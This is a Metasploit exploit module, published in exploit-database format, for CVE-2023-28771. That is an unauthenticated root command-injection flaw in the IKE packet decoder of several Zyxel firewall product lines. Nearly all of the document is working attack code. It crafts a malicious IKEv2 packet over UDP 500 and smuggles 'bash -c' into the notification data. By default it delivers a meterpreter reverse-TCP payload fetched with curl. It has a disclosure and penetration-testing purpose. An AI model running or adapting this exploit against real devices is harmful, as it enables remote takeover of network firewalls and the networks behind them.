[remote] Zyxel IKE Packet Decoder - Unauthenticated Remote Code Execution (Metasploit)

# Exploit Title: Zyxel IKE Packet Decoder Unauthenticated Remote Code Execution # Date: 2023-03-31 # Exploit Author: sf # Vendor Homepage: https://www.zyxel.com/ # Software Link: https://www.zyxel.com/ # Version: ATP (Firmware version 4.60 to 5.35 inclusive), USG FLEX (Firmware version 4.60 to 5.35 inclusive), # VPN (Firmware version 4.60 to 5.35 inclusive), and ZyWALL/USG (Firmware version 4.60 to 4.73 inclusive) # Tested on: Linux # CVE : CVE-2023-28771 ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Udp def initialize(info = {}) super( update_info( info, 'Name' => 'Zyxel IKE Packet Decoder Unauthenticated Remote Code Execution', 'Description' => %q{ This module exploits a remote unauthenticated command injection vulnerability in the Internet Key Exchange (IKE) packet decoder over UDP port 500 on the WAN interface of several Zyxel devices. The affected devices are as follows: ATP (Firmware version 4.60 to 5.35 inclusive), USG FLEX (Firmware version 4.60 to 5.35 inclusive), VPN (Firmware version 4.60 to 5.35 inclusive), and ZyWALL/USG (Firmware version 4.60 to 4.73 inclusive). The affected devices are vulnerable in a default configuration and command execution is with root privileges. }, 'License' => MSF_LICENSE, 'Author' => [ 'sf', # MSF Exploit & Rapid7 Analysis ], 'References' => [ ['CVE', '2023-28771'], ['URL', 'https://attackerkb.com/topics/N3i8dxpFKS/cve-2023-28771/rapid7-analysis'], ['URL', 'https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-remote-command-injection-vulnerability-of-firewalls'] ], 'DisclosureDate' => '2023-03-31', 'Platform' => %w[unix linux], 'Arch' => [ARCH_CMD], 'Privileged' => true, # Code execution as 'root' 'DefaultOptions' => { # We default to a meterpreter payload delivered via a fetch HTTP adapter. # Another good payload choice is cmd/unix/reverse_bash. 'PAYLOAD' => 'cmd/linux/http/mips64/meterpreter_reverse_tcp', 'FETCH_WRITABLE_DIR' => '/tmp', 'FETCH_COMMAND' => 'CURL' }, 'Targets' => [ [ 'Default', {} ] ], 'DefaultTarget' => 0, 'Notes' => { # The process /sbin/sshipsecpm may crash after we terminate a session, but it will restart. 'Stability' => [CRASH_SERVICE_RESTARTS], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options( [ Opt::RPORT(500) ] ) end def check connect_udp # Check for the Internet Key Exchange (IKE) service by sending an IKEv1 header with no payload. We can # expect to receive an IKE reply containing a Notification payload with a PAYLOAD-MALFORMED message. # In a default configuration, there appears no known method to identify the platform vendor or version # number, so we cannot identify a CheckCode other than CheckCode::Detected or CheckCode::Unknown. # If a VPN is configured on the target device, we may receive a Vendor ID corresponding to Zyxel, but we # still would not be able to identify the version number of the target service. ikev2_header = Rex::Text.rand_text_alpha_upper(8) # Initiator SPI ikev2_header << [0, 0, 0, 0, 0, 0, 0, 0].pack('C*') # Responder SPI ikev2_header << [0].pack('C') # Next Payload: None - 0 ikev2_header << [16].pack('C') # Version: 1.0 - 16 (0x10) ikev2_header << [2].pack('C') # Exchange Type: Identity Protection - 2 ikev2_header << [0].pack('C') # Flags: None - 0 ikev2_header << [0].pack('N') # ID: 0 ikev2_header << [ikev2_header.length + 4].pack('N') # Length udp_sock.put(ikev2_header) ikev2_reply = udp_sock.get(udp_sock.def_read_timeout) disconnect_udp if !ikev2_reply.empty? && (ikev2_reply.length >= 40) && # Ensure the response 'Initiator SPI' field is the same as the original one sent. (ikev2_reply[0, 8] == ikev2_header[0, 8]) && # Ensure the 'Next Payload' field is Notification (11) (ikev2_reply[16, 1].unpack('C').first == 11 && # Ensure the 'Exchange Type' field is Informational (5) (ikev2_reply[18, 1].unpack('C').first == 5)) && # Ensure the 'Notify Message Type' field is PAYLOAD-MALFORMED (16) (ikev2_reply[38, 2].unpack('n').first == 16) return CheckCode::Detected('IKE detected but device vendor and service version are unknown.') end CheckCode::Unknown end def exploit execute_command(payload.encoded) end def execute_command(cmd) connect_udp cmd_injection = "\";bash -c \"#{cmd}\";echo -n \"" # This value is decoded by the packet decoder using a DES-CBC algorithm. The decoded value is written to the # log file. As such the decoded value must not have any null terminator values as these will break our command # payload. Therefore we use the below known good value that will decode to a suitable string, allowing the cmd # injection payload to work as expected. haxb48 = 'HAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXB' ikev2_payload = [0].pack('C') # Next Payload: None - 0 ikev2_payload << [0].pack('C') # Reserved: 0 ikev2_payload << [8 + (haxb48.length + cmd_injection.length)].pack('n') # Length: 8 byte header + Notification Data ikev2_payload << [1].pack('C') # Protocol ID: ISAKMP - 1 ikev2_payload << [0].pack('C') # SPI Size: None - 0 ikev2_payload << [14].pack('n') # Type: NO_PROPOSAL_CHOSEN - 14 (0x0E) ikev2_payload << haxb48 + cmd_injection # Notification Data ikev2_header = Rex::Text.rand_text_alpha_upper(8) # Initiator SPI ikev2_header << [0, 0, 0, 0, 0, 0, 0, 0].pack('C*') # Responder SPI ikev2_header << [41].pack('C') # Next Payload: Notify - 41 (0x29) ikev2_header << [32].pack('C') # Version: 2.0 - 32 (0x20) ikev2_header << [34].pack('C') # Exchange Type: IKE_SA_INIT - 34 (0x22) ikev2_header << [8].pack('C') # Flags: Initiator - 8 ikev2_header << [0].pack('N') # ID: 0 ikev2_header << [ikev2_header.length + 4 + ikev2_payload.length].pack('N') # Length packet = ikev2_header << ikev2_payload udp_sock.put(packet) disconnect_udp end end